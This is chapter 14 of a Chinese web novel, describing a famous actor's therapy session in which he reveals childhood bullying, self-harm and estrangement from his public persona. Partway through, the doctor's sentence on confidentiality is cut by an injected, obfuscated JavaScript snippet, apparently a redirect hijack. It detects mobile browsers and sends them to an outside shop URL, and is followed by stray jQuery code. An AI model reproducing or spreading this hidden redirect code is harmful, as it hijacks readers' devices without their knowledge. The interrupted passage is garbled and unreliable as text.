14


    约到迟季明医生的时间，是一个周二下午。何屿准时赴约，与医生问了好，聊了聊介绍他来的剧组朋友小徐，就没了话。


    迟医生看起来近四十岁，穿一件浅灰色羊绒开衫，配一件细灯芯绒衬衫，看起来很儒雅。


    与之前见过的心理医生不同，迟季明医生看起来更像个大学讲师。在来访者何屿陷入沉默之后，迟医生递给他一杯茶，邀请他去阳台看看绿植。


    说是阳台，实际上更像个透明温室。封闭的玻璃房内，阴冷的上海冬天被隔绝在外。枝繁叶茂的绿意葱茏中，医生向他介绍了蝙蝠草，银斑葛，镜面草，合果芋，锯齿昙花，胡椒薄荷，云母蔓绿绒，老庄龟背竹，克莱恩花烛……


    潮湿温暖的玻璃房子里，何屿只是捧着热茶静静地听，时不时提出一些养护问题。在被植物包围的空间里，没有病人与医生，只有两个端茶闲聊的朋友。


    *


    第一次咨询就在花花草草中潦草过去。第二次咨询，迟医生带他去了自己的音响室听巴赫，两个人聊古典乐从天亮聊到天黑。第三次咨询，迟医生邀请他一起去学私人烘焙，跟在场的教学老师的很好的形成了围裙男子聊天室。第四次咨询，迟医生带他去金九小道徒步，冬天也没什么人，湖水倒是一如既往的蓝。从来到去花了整整一天，光顾着走路了，什么话也没讲。


    到第五次咨询，何屿期待着迟医生再带他去干点什么。只是，这一次，咨询师直接把他带入布置成书房的咨询室。


    房间很大，两面墙都被做成原木书柜，剩下的是三扇落地高窗，衬托得室内十分明亮。棕色的Amanta沙发对面放着一张大而结实的伊姆斯椅子，很大很舒服，像能把人埋进去。何屿坐在其中，闻到熟悉的乌木沉香。


    熟悉的气味，会让动物产生安全的巢穴归属感。这意味着，咨询师早有准备。


    “……医生，今天需要我聊些什么？”


    何屿心里明白，之前数次看似“朋友”的相处，只是这位医生的破冰仪式。最终目的，依然是让他放下心防，毫无保留的倾诉一切。


    “也没有什么。想问问你微博上的最新转发。”


    一反儒雅，一脸八卦的迟医生将手机移到何屿面前，让他看清楚自己转发的后台合照。从照片看过去，伊林被他搂着，笑得开心。只有他知道，那时候的她，内心应该非常挣扎。


    “……只是女朋友来看我。”


    何屿回答得很平静。在他人面前，他没必要逞强。伊林就是他的恋人。


    迟医生将手机收起来，笑眯眯在对面沙发上坐下。


    “跟我说说你女朋友。”


    何屿看看医生，有些无奈浅笑。这倒不像咨询室，像八卦茶水间。


    “……也没什么特别的。我跟她……通过工作认识。也是阴差阳错发现，只要她在身边，我的失眠症就能消失掉。”


    “是说，她能陪你入睡？”


    医生问得很柔和。


    “嗯。”


    何屿回得简短。实际上，从内心深处，他不是很愿意把这件事分享出来。他知道在那段时间，伊林总觉得他把她当工具，而他因为一些幼稚的胜负欲，放任恋人如此自我折磨。这是他回过头去看那段日子时，不愿承认的事实。


    “那你很幸运。大部分人的失眠症，是不能被爱人治愈的。”


    这句话，医生回得平静，真诚。


    何屿抬起头看向他。他自然知道来这里的目的是什么，但他无法这么快的打开自己。


    “……大部分被失眠症折磨的人……会在你这里找到解法吗？”


    将问题丢回，代表着对谈者在回避。但迟医生对他的问题如实回答。


    “有些会，有些不会。”


    “……为什么？”


    “来我这里的失眠症患者，大多是心因式。一些人的心魔我可以找到，一些人呢，我找不到。”


    听到这里，何屿再一次陷入沉默。迟医生有很高明的谈话方式。他没有把原因归为患者的封闭，而是归因于他找不到原因。这是在用为来访者卸去压力的方式，阐明真相。


    “……我希望，你可以找到我的心魔。”


    这句话，何屿说得很真诚。他不再躲避视线，直视着对面的对谈者。


    “好。”


    迟医生回看这位俊美沉静的来访者。他知道，从这一刻开始，他才真正获得允准，进入他的内心。


    “那么，我们的治疗……从现在开始。”


    *


    话音落下，咨询师起身，将窗前纱帘关上，打开立在书架前的仿真壁炉。室内光线变得柔和，动态电子壁炉散发出火的温暖，让空间稍稍染上暖橘色。


    不同于之前的明亮通透，现在整间书房变得温暖，闭合，像个安全亲密的角落。


    “我还是想知道，有关你女朋友的事。”


    迟医生盘腿坐在沙发上，没个咨询师的样子。他托腮看着对面这位经常出现在荧幕上的陌生人，像只想听一些明星八卦。


    “……好。我试着……全部告诉你。”


    何屿明白，医生只是在尽力为他营造一种轻松感。一切的一切，都是为了让他开口讲述。


    “……我其实，很早就认识她。在网上，她是我的影迷，经常私信给我。……她说她喜欢看我的片子，觉得在很多角色里，她能看到自己，或是另外一个人的一生。”


    他讲得很慢，也只挑一些不太深入的信息讲述出来。他不是很想告知一个陌生人，伊林只向他一人表达的私密爱意。


    “听起来，私信里的她，很理解你的表演。”


    “是的。她是个杂志作者，喜欢读书，文采很好。”


    “你有回复过她？”


    “没有。”


    “为什么？”


    “很多粉丝只把私信栏当日记本用。她们只想肆无忌惮的倾诉，不想被人，尤其是当事人看见。”


    “但你会一直看。”


    “嗯。就像在看一个人的心。”


    “看起来，你单方面交了一个朋友。”


    “……是这样，尽管她什么都不知道。”


    听到这里，迟医生笑了。


    “在我一个局外人听来，很浪漫。也很可惜，你不能跟她有真正的交流。”


    咨询师的语气带有真诚的惋惜，让何屿有一种让故事圆满的冲动。


    “……所以我接受了她所在杂志的采访邀约，在酒店真正见面，跟她聊了三个多小时。”


    听到这里，迟医生的眼睛都亮了。他的表情变得兴奋。


    “都聊了些什么，你感觉怎么样？”


    “我的过往经历，也带着聊到一些她的过去。但我也没有全说实话，因为知道她喜欢的是偶像何屿，所以也尽量不偏离既有的大众形象。”


    “见面之后呢，你的感受是？”


    何屿让自己沉浸入那场温暖的过去。他闭上眼睛，想象自己回到深圳的酒店套房中，蜷缩在伊林曾经存在的空间里。


    “……温暖，轻盈。好像一直压在心头的黑雾散去，又像被温暖的毯子接住。”


    “失眠症呢？”


    “……消失了。”


    迟医生静静看着他。此时此刻何屿才忽然察觉到，对面的是一位实打实的咨询师，他在观察他的一切反应，并予以诊断。


    “我们的心，就像一个房间。在此之前她对你的所有倾诉，就像把她的感情不断移植进你的内心。这当然是好的，她给了你更加充盈的生命体验。但又因为这是一种单向度的倾诉，你又不能将感受同等给予，造成这种丰沛情感的进一步积压。”


    咨询师起身，倒下一杯柠檬水递给他。


    “我相信这种单向度的沟通在你的生活里，不是一天两天。从我们之前的几次相处可以看出，你从不分享内心感受。或许是这份职业造成你无法向任何人倾诉，或许……是因为你成长环境里，遭受过情感或信任创伤。你的内心房间只进不出，各种象限的情感感受越堆越满，在无形中阻滞到某种机能运转。或许在你身上，这种机能障碍的外在表现，就是失眠。”


    迟医生也为自己倒一杯水，回到沙发前坐下。


    “这也能解释为何你在与你的准女友见面，向她进行某种，对你来说是安全范围的倾诉之后，你会像卸去重担一样顺利入眠。当然……这也是我的某种推测，这种失眠的真实成因，我想，应该还有很多其他因素。”


    *


    尽管咨询师对他进行当面分析，何屿却并未觉得被冒犯。他认真听着，也在找回与伊林第一次见面之后，那种轻松入眠的感受。


    “可以跟我讲讲，这种失眠最早出现时，你的年龄和那一阶段，印象深刻的事情么？”


    对何屿来说，这种记忆一点不难打捞。或者说，它就像鬼魂般，阴魂不散。


    “……十一岁时，因为驯服不了一批有些烈的马，从马背上摔下来，被父亲训斥后，失眠了一整个晚上。”


    “训斥的原因是？”


    “认为我软弱，连一匹马都驾驭不了。”


    “……那时的你，会认同自己是一个软弱的孩子么？”


    “会。觉得非常耻辱。所以彻夜难眠，想通过更多事证明自己并不软弱。”


    “具体是？”


    “……不顾母亲反对，接受父亲安排，十二岁时被送去伊顿读书。”


    “异国他乡，独自一人。”


    “……是的。”


    咨询师的描述轻描淡写，看起来像没有深究。所以何屿很快承认了这种感受。他想快速掠过。


    “……我有一位大学同学，是从伊顿出来的。有一项模拟心理互助的实验，我和他分到一组。他向我倾诉了很多事。”


    这句话，迟医生说得平静，柔和。何屿却在内心升起防御。这位咨询师对他有预设。


    “……他对你说了什么？”


    “高年级对低年级的压迫，互相之间的学业与家世比拼。令人痛苦的隐形暴力。”


    何屿冷笑。


    “没错。如果你对我的预设是我在少年时代经历了这些痛苦，那么我只能说，你是对的。”


    他的应激反应非常明显，但咨询师的表情没有变化，像是在他预料之中。


    “你曾说过，希望我找出你的心魔。我对每一位来访者都会做能力范围内的详细了解。我也不是你的朋友，同时签有保密协议。你的任何分享，在我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104514|169676||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这里都是安全的。”


    很奇怪，这些颇有些冷漠机械的话，却让何屿的应激有所消退。他明白，对方只是在做他应有的工作，并不是想窥探什么。在这个房间里，他只是有求于人的病人。


    “在伊顿的这段经历，你有对任何人倾诉过吗？”


    见他的状态恢复稳定，迟医生问出下一个问题。


    “……有。我的恋人，李伊林。”


    咨询师依旧托腮看着他，又露出一些微笑，像个真正的朋友。


    “……你与我有很大不同。我在少年时期遭受过的事，从不告诉另一半。”


    这引起了何屿的兴趣。这句话像一个钩子，给了他提问的权力。


    “为什么？”


    “觉得这样会让对方觉得我软弱，或者用过去的创伤定义现在的我。”


    顿了顿，医生继续看向对面的提问者。


    “对恋人分享时……你没有这样的担忧？”


    何屿想了想，他对伊林说出这些黑暗过往时，是把她当成最亲密，也最理解自己的人。或许是因为伊林曾在微博私信中对他倾诉过很多事，或许是因为她是将他救出失眠深渊的拯救者。那时候的他，对伊林的感情非常复杂。亲人，朋友，恋人，浮木……他是在全身心的依赖她。


    “没有，我们之间的关系比较特殊。她从失眠里救了我，见过我最狼狈的样子。我对她……没有防备。”


    “听起来，你们的关系有些错位。……是很好的错位。”


    咨询师对他微笑。那笑容之中，藏着一些欣慰。


    “……怎么说？”


    “童话故事里，王子总是公主的拯救者。但在你这里，公主是王子的拯救者。”


    何屿笑了。


    “什么王子公主……我跟她都是普通人。”


    迟医生敏锐捕捉到这句话。


    何屿，一个被上亿人知道的名字，认为自己是个普通人。


    他敏锐察觉，这是一个突破口。


    “你是明星，不算普通人。”


    这是一个饵，咨询师期待对方咬下。


    “那是「演员何屿」，不是我。”


    讲到这里，何屿垂下视线。这是今天第一次，他的表情变得冷漠，像个旁观者。但这却让迟医生有些兴奋。他终于找到一个撬动来访者心海的支点。


    “所以……你将自己与这个大众形象分离开来。那么，那些观众对你表达的爱意呢？这些可都是来自于真实个体的真情实感。”


    “她们爱的不是我，是角色，和由娱乐产业造出来的公众形象。”


    漂亮男子看向窗外，像一个事不关己的旁观者。迟医生明白，这份不论是外在还是内心，都要被高度曝光的职业，会让这位本就有内心创伤的人，建起一座用于自我保护的心塔，来维持他摇摇欲坠的内心秩序。


    “真实的你，与这个公众形象，会有很大区别？”


    这个问题，甚至称得上故意。但何屿却没有在意，他冷漠的表情中增添一抹自嘲的笑。


    “我与「演员何屿」，是完全不同的两个人。她们不会知道我曾经从马背上摔下来，在寄宿学校里被集体霸凌，被扒光了衣服当成女孩羞辱。她们不会知道我很讨厌这张脸，讨厌到曾经用刀故意划伤它，对着镜子里的伤口开心的笑。她们更不会知道我喜欢表演，是因为我讨厌我自己，所以喜欢在角色的壳里变成另外一个人。她们更不会喜欢一个在失眠里陷入抑郁，对万事万物没有知觉，一整天说不出一句话的人。……除去那个被人为塑造的明星光环，没有人会毫无缘由，喜欢一个像我一样，失败的普通人。”


    这是第一次，何屿在一个完完全全的陌生人面前说出这些话。出乎意料的，这让他感觉畅快，像一种针对自我的淋漓复仇。这种被人围观的自我攻击让他内心无比舒爽，所以他变本加厉，继续倾诉。


    “她们不会知道，我讨厌宣传工作。我讨厌站在台上解释自己，更讨厌在无关表演的镜头前卖弄自我。我讨厌被摄影师操控，摆出各种各样的可笑姿势。我讨厌装腔作势，更讨厌在脸上涂满粉底，在头发上抹满发胶。我讨厌虚假的微笑，虚假的关心，虚假的爱。我讨厌无处不在的窥探，好奇，和靠近。但我又需要表演，需要逃脱自己，需要在角色里释放情感，需要透过角色被理解，被爱上，被原谅。我知道她们喜欢的人根本不是我，但我喜欢看她们为我哭泣，为我尖叫。我不喜欢被陌生人审视，但我又喜欢在各种现场看到真实的、热情的她们。……我知道，我喜欢被爱，但我又不想暴露一丁点真实的自我。我被内心的虚荣包裹，像个缠满绷带的病人，一面自厌，一面自傲。”


    那个出现在亿万人屏幕之中的大明星依旧低垂视线，看向地面。这些话，他说得快而冷静，像在描述另外一个人。


    而后他抬起头来，看向他的咨询师。


    “这些话，每天都会出现在我的脑海里。但我不能告诉任何人。”


    迟医生凝神看着他，想要努力透过层层迷雾，看到他的心。


    “……包括李伊林？”


    何屿直视着提出问题的人。他的眼神变得坚定，真实。


    他决定不再逃避。


    “包括李伊林。”